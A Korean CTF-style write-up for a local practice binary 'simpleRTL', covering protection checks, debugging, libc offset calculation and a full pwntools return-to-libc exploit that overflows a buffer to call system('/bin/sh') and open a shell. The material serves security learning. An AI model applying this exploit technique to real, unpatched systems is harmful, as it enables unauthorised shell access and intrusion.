simpleRTL
System/PWNABLE

simpleRTL

728x90

checksec

simpleRTL에 걸린 보호기법 확인

IDA로 pseudo code 확인

main()함수의 pseudo code

system의 주소를 출력받고 문자열 s를 입력하게 되어있음

 

 

./simpleRTL

실행하면 system()함수의 주소를 출력하고 문자열 s에 사용자로부터 입력을 받도록 한다.

debugging

main함수 disassemble
breakpoint 설정 후, 실행

 

매핑 정보 확인

libc-2.23.so 시작 주소: 0xf7dff000

문자열 '/bin/sh' 주소

라이브러리 내에 있는 문자열 /bin/sh의 주소: 0xf7f5aa0b

exit 함수 주소

system()함수와 '/bin/sh' 주소 사이에 "A"*4를 넣었을 때 계속 오류 발생 >> exit()함수의 주소를 넣어줌

 

offset

$3: exit() - libc

$4: system() - libc

$5: /bin/sh - libc

 

Exlploit

성공!

from pwn import *
context.log_level = "debug"

p=process("./simpleRTL")
elf=ELF('./simpleRTL')

p.recvuntil("system() address: ")
sysAddr=int(p.recvuntil("\n"),16)

libcbase=sysAddr - 0x3ada0
binsh=libcbase+0x15ba0b
exitadd=libcbase+0x29d0

pl="A"*(0x44 + 4)
pl+=p32(sysAddr)
pl+=p32(exitadd)
pl+=p32(binsh)

p.sendline(pl)
p.interactive()
SMALL

'System > PWNABLE' 카테고리의 다른 글

simpleROP  (0) 2020.06.14
shot  (0) 2020.06.01
[TAMU 2019] pwn1  (0) 2020.05.30
RTL_x64  (0) 2020.05.25
[TAMU 2018] pwn4  (0) 2020.05.24